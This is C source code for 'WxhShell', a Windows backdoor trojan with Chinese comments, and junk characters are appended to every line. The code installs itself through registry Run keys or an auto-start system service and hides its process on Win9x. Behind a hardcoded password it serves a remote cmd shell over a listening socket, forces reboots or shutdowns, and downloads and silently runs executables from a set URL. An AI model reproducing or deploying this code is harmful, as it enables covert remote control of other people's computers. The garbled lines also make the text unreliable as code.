    if(Boot(SHUTDOWN)) nl~ Z,Y$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Y/kF1,*  
    else { &Q*  7  
    closesocket(wsh); }WhRJr`a  
    ExitThread(0); wVs"+4l<  
    } B$qTH5)W  
    break; 5?[hr5E.E  
    } Q%524%f$  
  // 获取shell q]U!n  
  case 's': { F\^\,hy  
    CmdShell(wsh); +ViL"  
    closesocket(wsh); 33&l.[A"!}  
    ExitThread(0);  DTa!vg  
    break; <s%Ft  
  } _mJhY0Oc  
  // 退出 6s'n r7'0  
  case 'x': { ]E)\>Jb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'bsHoO  
    CloseIt(wsh); = 5[%%Lf  
    break; nw_s :  
    } 0f@9y  
  // 离开 6)BPDfU,  
  case 'q': { HD& Cp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T 2_iH=u  
    closesocket(wsh); Z}{]/=h  
    WSACleanup(); Xpp v  
    exit(1); p{:y?0pGN  
    break; CM%;/[WBxy  
        } GFju:8P?  
  } +o):grWvQ  
  } zszmG^W{  
|6;-P&_n  
  // 提示信息 q|0l>DPRp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K]uH7-YvL/  
} OMM5ALc(F  
  } 5=I"bnIU  
bI`JG:^b  
  return; 0 /9 C=v  
} ?1zGs2Qs  
^;F5ymb3U  
// shell模块句柄 #eX<=H]  
int CmdShell(SOCKET sock) 9Ofls9]U  
{ aqWlX0+  
STARTUPINFO si; Djdd|Z+*{  
ZeroMemory(&si,sizeof(si)); g*`xEb= '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G:y+yE4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &n#yxv4  
PROCESS_INFORMATION ProcessInfo; qHtIjtt[q  
char cmdline[]="cmd"; Z} t^i^u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aGfp"NtL  
  return 0; e]CoYuPr  
} t&NpC;>v  
RWX!d54&  
// 自身启动模式 ,7k-LAA  
int StartFromService(void) ALcPbr  
{ NqGSoOjIO2  
typedef struct 8!HB$vdw7  
{ ~<~ ~C#R  
  DWORD ExitStatus; 74N3wi5B  
  DWORD PebBaseAddress; Z`86YYGK  
  DWORD AffinityMask; TI\xCIH  
  DWORD BasePriority; ?>iUz.];t  
  ULONG UniqueProcessId; /h{Rf,H  
  ULONG InheritedFromUniqueProcessId; wOCAGEg  
}   PROCESS_BASIC_INFORMATION; dsj}GgG?Z  
0TSB<,9a[  
PROCNTQSIP NtQueryInformationProcess; ]T)<@bmL  
!dU$1:7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t%J1(H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iqn (NOq^[  
7!h> < sx  
  HANDLE             hProcess; IF-y/]  
  PROCESS_BASIC_INFORMATION pbi; TI t\  
HTz`$9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Lk(G9CoY  
  if(NULL == hInst ) return 0; ez.a  
;<thEWH;Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &%GAPs%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iK+Vla`}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A_WaRYG  
F3]VSI6^E,  
  if (!NtQueryInformationProcess) return 0; nm& pn*1  
MB $aN':  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <VQ)}HW;k  
  if(!hProcess) return 0; k`A39ln7wu  
-%gEND-AP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f8aY6o"i  
f$n5$hJlQ  
  CloseHandle(hProcess); Pqw<nyC.  
("r:L<xe&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ir5|H|b<  
if(hProcess==NULL) return 0; Jj\lF*B  
q mv0LU  
HMODULE hMod; $COjC!M  
char procName[255]; \v5;t9uBZ  
unsigned long cbNeeded; H0sTL#/L\  
E`V\/`5D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^]'_Qbi]}  
)p1~Jx(\  
  CloseHandle(hProcess); Ej 5_d  
%''L7o.#a  
if(strstr(procName,"services")) return 1; // 以服务启动 ?@;)2B|q  
s,8zj<dUv  
  return 0; // 注册表启动 >`SeX:  
} q<! -Anc  
^G(Ee+PN@  
// 主模块 OXbShA&1  
int StartWxhshell(LPSTR lpCmdLine) 5E"^>z  
{ 'P" i9j  
  SOCKET wsl; 9=3DYCk/  
BOOL val=TRUE; hV0fkQ.|  
  int port=0; c-}[v<o  
  struct sockaddr_in door; % @+j@i`&  
QIevps*  
  if(wscfg.ws_autoins) Install(); 'L-DMNxBr  
0Ci/-3HV!  
port=atoi(lpCmdLine); {>9ED.t  
|3yG  
if(port<=0) port=wscfg.ws_port; #0Y_!'j  
H,5]w\R6\  
  WSADATA data; kltW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *o4a<.hd2  
Uc'}y!R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fByf~iv,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EY<"B2_%  
  door.sin_family = AF_INET; m 8b,_1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !khEep}  
  door.sin_port = htons(port); s</qT6@  
6 h,!;`8O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3NDddrL9  
closesocket(wsl); Z+J4 q9^$  
return 1; `&7tADFB  
} -f mJkI  
jVQ89vf ~  
  if(listen(wsl,2) == INVALID_SOCKET) { RR ^7/-  
closesocket(wsl); DyiJ4m}kh  
return 1; X!^|Tass  
} 9J?s:"j  
  Wxhshell(wsl); vr'cR2  
  WSACleanup(); dzPewOre*  
z'& fEsjy  
return 0; {vCtp   
1^X)vck  
} _"L6mcI6  
o0f`/ 6o  
// 以NT服务方式启动 y32$b,%Xi,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3]*1%=~X/  
{ I 4?oBq  
DWORD   status = 0; /\h*v!:  
  DWORD   specificError = 0xfffffff; 3oMHy5  
ZIc.MNq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S7Ty}?E@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ec3tfcNhR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ""a$[[ %WC  
  serviceStatus.dwWin32ExitCode     = 0; 9Pe$}N  
  serviceStatus.dwServiceSpecificExitCode = 0; LlO8]b!P-^  
  serviceStatus.dwCheckPoint       = 0; 4}v|^_x-i  
  serviceStatus.dwWaitHint       = 0; !e~[U-  
C` ky=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >20dK  
  if (hServiceStatusHandle==0) return; `(0B09~7  
z<vh8dNl  
status = GetLastError(); 4,c6VCw3+  
  if (status!=NO_ERROR) Z%B6J>;uM  
{ W Eif&<Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pC>h"Hy  
    serviceStatus.dwCheckPoint       = 0; CCe>*tdf  
    serviceStatus.dwWaitHint       = 0; BB(6[V"SV  
    serviceStatus.dwWin32ExitCode     = status; *Z_4bR4Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; D\-\U E/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o#,^7ln  
    return; yvoz 3_!  
  } 8Ejb/W_  
*1<kYrB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iI";m0Ny  
  serviceStatus.dwCheckPoint       = 0; Gw$5<%sB  
  serviceStatus.dwWaitHint       = 0; dM^Z,; u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Ir?v  
} 0O>ClE~P  
GgG #]a!_f  
// 处理NT服务事件,比如:启动、停止 pcwYgq#5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t'Wv? ,  
{ 7 s5(eQI  
switch(fdwControl) pOo016afmA  
{ q -8G  
case SERVICE_CONTROL_STOP: *??lwvJp  
  serviceStatus.dwWin32ExitCode = 0; C\GP}:[T3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !EhKg)y=  
  serviceStatus.dwCheckPoint   = 0; Bso#+v5  
  serviceStatus.dwWaitHint     = 0; za@/4z  
  { uwSSrT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>N6.itOz  
  } Fds 11 /c7  
  return; =oq8SL?bJ*  
case SERVICE_CONTROL_PAUSE: lt&(S)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SULFAf<  
  break; daI_@kY"  
case SERVICE_CONTROL_CONTINUE: Z%qtAPd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3>aEP5  
  break; bPU i44P  
case SERVICE_CONTROL_INTERROGATE: ?zf3Fn2y  
  break; zR^Gy"  
}; gYc]z5`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oti*"dV\::  
} wc4BSJa,19  
j,+]tHC-  
// 标准应用程序主函数 ]$[sfPKA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ujX; wGje  
{ V^5d5Ao  
Km8aHc]O~  
// 获取操作系统版本 Ptv'.<-  
OsIsNt=GetOsVer(); T+F]hv'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0\ = du  
Tn#Co$<  
  // 从命令行安装 p2i?)+z  
  if(strpbrk(lpCmdLine,"iI")) Install(); +SH{`7r  
d}h{#va*  
  // 下载执行文件 w>&*-}XX  
if(wscfg.ws_downexe) { '|zrzU=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5FoZ$I  
  WinExec(wscfg.ws_filenam,SW_HIDE); hu.o$sV3;  
} :lcq3iFn  
.+/d08]  
if(!OsIsNt) { d}[cX9U/  
// 如果时win9x,隐藏进程并且设置为注册表启动 v\Uk?V5T  
HideProc(); 4 V')FGB$  
StartWxhshell(lpCmdLine); Dp ](?Yr  
} j ) 6  
else  S=(O6+U  
  if(StartFromService()) o[Jzx2A<  
  // 以服务方式启动 Go)$LC0Mi  
  StartServiceCtrlDispatcher(DispatchTable); ){5Nod{}a  
else @owneSD qN  
  // 普通方式启动 S' j g#*$  
  StartWxhshell(lpCmdLine); T$xB H  
56 3mz-  
return 0; tX{yR'Qhu  
} E[]5Od5#  
No'?8+i  
ecghY=%  
Hsf::K x  
=========================================== E+]9!fDy<  
N>!:bF  
H4w\e#|  
k2U*dn"9U  
?BnU0R_r]  
cQU;PH]  
" -Z"4W  
N]A# ecm  
#include <stdio.h> "La;$7ds  
#include <string.h> r!mRUw'u  
#include <windows.h> *9aJZWf>V  
#include <winsock2.h> $v|W2k  
#include <winsvc.h> o8bdL<  
#include <urlmon.h> ^}_Ka//k  
WTJ 0Q0U  
#pragma comment (lib, "Ws2_32.lib") 1`&`y%c?B  
#pragma comment (lib, "urlmon.lib") hxO}'`:  
mLX/xM/T?/  
#define MAX_USER   100 // 最大客户端连接数  x]+PWk  
#define BUF_SOCK   200 // sock buffer "jFf}"  
#define KEY_BUFF   255 // 输入 buffer )D,KG_7l  
t~) P1Lof\  
#define REBOOT     0   // 重启 o}OY,P  
#define SHUTDOWN   1   // 关机 o$rjGa l  
|1U_5w  
#define DEF_PORT   5000 // 监听端口 *2G6Q g F  
>NRppPqL  
#define REG_LEN     16   // 注册表键长度 ky2 bj}"p9  
#define SVC_LEN     80   // NT服务名长度 FlBhCZ|^  
FE~D:)Xj'?  
// 从dll定义API Z7;V}[wie  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CJ IuMsZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zw/AZLS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zR"c j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZSC*{dD$E  
Y}:~6`-jj  
// wxhshell配置信息 *GT=U(d  
struct WSCFG { pM?;QG;jA  
  int ws_port;         // 监听端口 JE?rp1.  
  char ws_passstr[REG_LEN]; // 口令 3e_tT8  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Nf{;G!kg  
  char ws_regname[REG_LEN]; // 注册表键名 ;w7mr1  
  char ws_svcname[REG_LEN]; // 服务名 y6XOq>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O$,F ga  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )U@9dV7u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 utlr|m Xc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 53HA6:Q[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [FO4x`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c|&3e84U  
7n8nJTU{4j  
}; ^3;B4tj[  
QNj]wm=mp  
// default Wxhshell configuration {M]_]L{&7  
struct WSCFG wscfg={DEF_PORT, D}_.D=)  
    "xuhuanlingzhe", 5R7x%3@L  
    1, s2; ~FK#/  
    "Wxhshell", uoS:-v}/Y~  
    "Wxhshell", G{U#9   
            "WxhShell Service", IiU> VLa  
    "Wrsky Windows CmdShell Service", i\i%Wi Rl  
    "Please Input Your Password: ", U\KMeaF5e-  
  1, M.W X&;>  
  "http://www.wrsky.com/wxhshell.exe", T ozx0??)  
  "Wxhshell.exe" (bsx|8[  
    }; |&; ^?M  
QL?_FwZL  
// 消息定义模块 ;8sL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f9.?+.^_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hyI7X7Hy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (8d uV  
char *msg_ws_ext="\n\rExit."; 9LDv?kYr  
char *msg_ws_end="\n\rQuit."; k9Pvh,_wp  
char *msg_ws_boot="\n\rReboot..."; hbw(o  
char *msg_ws_poff="\n\rShutdown..."; 5 ~Wg=u<6  
char *msg_ws_down="\n\rSave to "; Z>hTL_|]a{  
;*A'2ymXUT  
char *msg_ws_err="\n\rErr!"; #-/W?kD  
char *msg_ws_ok="\n\rOK!"; wZqYtJ  
oz) [ -  
char ExeFile[MAX_PATH]; =)a24PDG  
int nUser = 0; cS ~OxAS  
HANDLE handles[MAX_USER]; 3:)z+#Uk6  
int OsIsNt; ARKM[]  
2|nm> 4  
SERVICE_STATUS       serviceStatus; @N=vmtLP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hFrMOc&  
OM86C  
// 函数声明 Y t(D  
int Install(void); 9]4Q@%  
int Uninstall(void); sPH 2KwEv  
int DownloadFile(char *sURL, SOCKET wsh); lSxb:$g  
int Boot(int flag); Br1R++]  
void HideProc(void); T[oC='I+O  
int GetOsVer(void); u#0snw~)/  
int Wxhshell(SOCKET wsl); pgU [di  
void TalkWithClient(void *cs); V;M_Y$`Lh  
int CmdShell(SOCKET sock); BEdCA]T  
int StartFromService(void); O'<V[Y} 6  
int StartWxhshell(LPSTR lpCmdLine); O)'CU1vMb  
)(iv#;ByL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #N|\7(#~u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OF-k7g7  
~tDYo)hH8  
// 数据结构和表定义 RRL{a6(?  
SERVICE_TABLE_ENTRY DispatchTable[] = @!8aZB3odt  
{ TEtmmp0OD  
{wscfg.ws_svcname, NTServiceMain}, 8q2a8I9g  
{NULL, NULL} mQ"~x]  
}; HW@wia  
eg0_ <  
// 自我安装 iq#{*:1  
int Install(void) >jm(2P(R   
{ afm\Iv[*  
  char svExeFile[MAX_PATH]; LEb$Fd  
  HKEY key; s,z~qL6&  
  strcpy(svExeFile,ExeFile); 19 !?oeOU  
*1|7%*!8  
// 如果是win9x系统,修改注册表设为自启动 ACszx\[K3  
if(!OsIsNt) { ,06Sm]4L,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9vI~vl l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w"hd_8cO  
  RegCloseKey(key); BU`X_Z1)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -f+#j=FX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JcAsrtrG]  
  RegCloseKey(key); kiTC)S=])  
  return 0; tsXKhS;/w  
    } 0At0`Q#  
  } @8d 3  
} m1$tf ^  
else { I^NDJdxd  
!T 6R[  
// 如果是NT以上系统,安装为系统服务 ?Ga8.0Z~KT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9*q wXU_aV  
if (schSCManager!=0) c=m'I>A  
{ D#;7S'C  
  SC_HANDLE schService = CreateService *2AD#yIKC  
  ( Pv -4psdw  
  schSCManager, r!:yUPv  
  wscfg.ws_svcname, |iM,bs  
  wscfg.ws_svcdisp, HsY5wC  
  SERVICE_ALL_ACCESS, -3Kh >b)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6o't3Peh  
  SERVICE_AUTO_START, U4D7@KY +m  
  SERVICE_ERROR_NORMAL, l;-Ml{}|0  
  svExeFile, j G8;p41  
  NULL, Knwy%5.Z  
  NULL, O1c%XwMn^  
  NULL, !fOPYgAGKn  
  NULL, VotC YJ  
  NULL DiFLat]X  
  ); 9+ 'i(q z  
  if (schService!=0) rXx#<7`  
  { ,\4]uZ<  
  CloseServiceHandle(schService); c_8&4  
  CloseServiceHandle(schSCManager); ZW4f "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e~)[I!n  
  strcat(svExeFile,wscfg.ws_svcname); 3>O|i2U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %:3XYO.w-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F*72g)hVh  
  RegCloseKey(key); ww2mL <B  
  return 0; ztp|FUi  
    } e@D_0OZ  
  } '| 8 dt "C  
  CloseServiceHandle(schSCManager); <jh4P!\&j  
} : auR0FE  
} *`>BOl+ro  
;[<(4v$  
return 1; =oAS(7o  
} `YhGd?uu$  
zv]ZEWVzc  
// 自我卸载 A3]A5s6  
int Uninstall(void) <PLAAh8  
{ Xu$>$D# a  
  HKEY key; wZvv5:jKpu  
z.Cj%N  
if(!OsIsNt) { o'2eSm0H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PK|-2R"M  
  RegDeleteValue(key,wscfg.ws_regname); 35\ |#2qw6  
  RegCloseKey(key); W+h2rv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]#:WL)@  
  RegDeleteValue(key,wscfg.ws_regname); mx Nd_{n  
  RegCloseKey(key); K%q5:9m  
  return 0; rc_m{.b  
  } M @5&.  
} QLqtE;;)JK  
} ?=1eHnP!R  
else { qb>ULP0  
eL3 _Lz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zxR]+9Zh  
if (schSCManager!=0) j=r1JV @  
{ IeYYG^V<A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g~hMOI?KK^  
  if (schService!=0) 2` o @L  
  { =AIts[!qd  
  if(DeleteService(schService)!=0) { v[dU UR f  
  CloseServiceHandle(schService); xf,[F8 2y  
  CloseServiceHandle(schSCManager); 3h7RQ:lUi  
  return 0; adLL7  
  } z33UER"  
  CloseServiceHandle(schService); CG1MT(V7?  
  } =%<=Bn  
  CloseServiceHandle(schSCManager); hGtz[u#p  
} PR8nJts W5  
} Xf u0d1b  
<KMCNCU\+  
return 1; *b{IWOSe^  
} \<{a=@_k9  
aTcz5g0"  
// 从指定url下载文件 AC RuDY  
int DownloadFile(char *sURL, SOCKET wsh) Ht[$s40P  
{ EI_-5TtRD  
  HRESULT hr; ] Lv3XMa  
char seps[]= "/"; 8t!jo.g  
char *token; L FWp}#%  
char *file; 64B.7S88  
char myURL[MAX_PATH]; 2Q6;SF"Z  
char myFILE[MAX_PATH]; VYG@_fd!x  
pGs?Y81  
strcpy(myURL,sURL); `~XksyT  
  token=strtok(myURL,seps); j iKHx_9P  
  while(token!=NULL) #,#`< h!  
  { SBxpJsW >  
    file=token; #pvq9fss,}  
  token=strtok(NULL,seps); [F6 )Z[uG  
  } +|/0sPW(  
M%E<]H2;S  
GetCurrentDirectory(MAX_PATH,myFILE); M<-Q8 a~  
strcat(myFILE, "\\"); DNGyEC  
strcat(myFILE, file); <K CI@  
  send(wsh,myFILE,strlen(myFILE),0); \F|)w|v  
send(wsh,"...",3,0); *w0!C:mL&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x Lan1V  
  if(hr==S_OK) UT;%I_i!'  
return 0; }#ink4dK:  
else WARiw[  
return 1; ~.T|n =  
5} %R  
} [* <x)  
a2P)@R  
// 系统电源模块 'I,a 29  
int Boot(int flag) wV )\M]@  
{ 48:xvTE?N  
  HANDLE hToken; O#D{:H_dD>  
  TOKEN_PRIVILEGES tkp; z"f@iJX?2  
"z9C@T  
  if(OsIsNt) { Sr \y1nt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kL DpZ{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d88A.Z3w  
    tkp.PrivilegeCount = 1; 9~hW8{#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p{,#H/+J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ny KfM5s_  
if(flag==REBOOT) { Z@s[8wrmPl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w"{DLN[Qw  
  return 0; Va )W[I  
} %`i*SF(gV  
else { 8\s#law  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p7QZn.,=u  
  return 0; /?;'y,(Q  
} fXMY.X>f  
  } |OeWM  
  else { Gazva/e  
if(flag==REBOOT) { v>keZZOs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yksnsHs}d  
  return 0; NgTB4I 8P  
} +,,(8=5 g  
else { /4T6Z[=s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @T^FOTW  
  return 0; T\9[PX<  
} Krae^z9R  
} Ao\P|K9MyL  
%,WH*")  
return 1; DgT]Nty@b  
} 5Npxs&Ea  
]hV!lG1_  
// win9x进程隐藏模块 ;`oK5  
void HideProc(void) fg LY{  
{ M P8Sd1_=  
^]sb=Amw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e,|gr"$/  
  if ( hKernel != NULL ) /3M8 ;>@u  
  { 5n?P}kca)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4x6n,:;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *QQeK# $s  
    FreeLibrary(hKernel); Q yw@ r  
  } Y#}qXXZ>]  
Ba[,9l[  
return; - VJx)g  
} loIb}8  
a <C?- g|  
// 获取操作系统版本 qb[hKp5K6  
int GetOsVer(void) IL|Q-e}Ol  
{ Lf(( zk:pt  
  OSVERSIONINFO winfo; 3RaW\cWzg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _^W;J/He  
  GetVersionEx(&winfo); U;W9`JT<.f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nF'YG+;|@  
  return 1; P!]uJ8bi  
  else  ,]EhDW6  
  return 0; F `7 v  
} l:'#pZ4T  
0!,uo\`  
// 客户端句柄模块 =.z;:0]'n  
int Wxhshell(SOCKET wsl) Wxj_DTi[1"  
{ bL xZ 5C7t  
  SOCKET wsh; %M`48TW)  
  struct sockaddr_in client; "}v.>L<P  
  DWORD myID; 5QiQDQT}5  
{.2\}7.c  
  while(nUser<MAX_USER)  2yJ{B   
{ 2VRGTx  
  int nSize=sizeof(client); R%KF/1;/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b*Y Wd3  
  if(wsh==INVALID_SOCKET) return 1; @Fc:9a@  
.=;IdLO,Bf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %>$<s<y  
if(handles[nUser]==0) bB?E(>N;  
  closesocket(wsh); g4A{RI  
else e@vtJaSu  
  nUser++; @ZU$W9g  
  } 9:p-F+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Aax;0qGbH  
l~"T>=jq3  
  return 0; KAnV%j  
} jh/,G5RM9  
BP9#}{kE  
// 关闭 socket %rb$tKk  
void CloseIt(SOCKET wsh) ~yJ2@2I  
{ qt}M&=}8Q  
closesocket(wsh); kQmkS^R  
nUser--; &Pb:P?I  
ExitThread(0); bg Ux&3  
} $.vm n,:.  
3q73L<f  
// 客户端请求句柄 *|S6iSn9R!  
void TalkWithClient(void *cs) Mw0>p5+ cy  
{ o*)Sg6Yk  
yn mjIQ  
  SOCKET wsh=(SOCKET)cs; -  ]wT  
  char pwd[SVC_LEN]; ketp9}u  
  char cmd[KEY_BUFF]; bVzi^R"  
char chr[1]; }O*`I(  
int i,j; dJgLS^1E  
ai-s9r'MI?  
  while (nUser < MAX_USER) { [eD0L7 1[  
:m<&Ff}  
if(wscfg.ws_passstr) { rhc+tR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |BFzTz,o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T^7Cv{[  
  //ZeroMemory(pwd,KEY_BUFF); YTa g|If  
      i=0; ^($'l)I  
  while(i<SVC_LEN) { xuv W6Q;  
J[<Zy^"Y;  
  // 设置超时 jTR?!Mt0  
  fd_set FdRead; D#LV&4e>.E  
  struct timeval TimeOut; YJv$,Z&;HO  
  FD_ZERO(&FdRead); {]+t<  
  FD_SET(wsh,&FdRead); SyVGm@  
  TimeOut.tv_sec=8; J>  
  TimeOut.tv_usec=0; >>J3"XHX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tq59w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sA,bR|  
1x|3|snz)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &MSU<S?1  
  pwd=chr[0]; lBbb7*Ljt<  
  if(chr[0]==0xd || chr[0]==0xa) { P)K $+oo  
  pwd=0; ]QaKXg)3q  
  break; dO8 2T3T  
  } LJ[zF~4#  
  i++; B)Y[~4o  
    } 2#7|zhgb  
%(6IaqJ[  
  // 如果是非法用户,关闭 socket 2'@m'4-N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); elR'e6Q  
} w6s[|i)&  
8vVE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q2X::Yqk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AfA"QCyO  
2Xl+}M.:Y  
while(1) { a|FkU%sjzZ  
5 e+j51  
  ZeroMemory(cmd,KEY_BUFF); Q!P%duO  
6axxyh%  
      // 自动支持客户端 telnet标准   \!\:p/f  
  j=0; 0 SSdp<  
  while(j<KEY_BUFF) { Ow4_0l&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -LiGO#U  
  cmd[j]=chr[0]; Jb"FY:/Qv+  
  if(chr[0]==0xa || chr[0]==0xd) { R@K\   
  cmd[j]=0; 6o^>q&e}%  
  break; -{0Pq.v  
  } |E >h*Y  
  j++; K+`GVmD  
    } WhW}ZS'r  
bJ_rU35s>  
  // 下载文件 aLh(8;$  
  if(strstr(cmd,"http://")) { sYS 8]JU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .u)KP*_  
  if(DownloadFile(cmd,wsh)) |Ml~Pmpp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fv7VDo8vb  
  else y[XD=j  
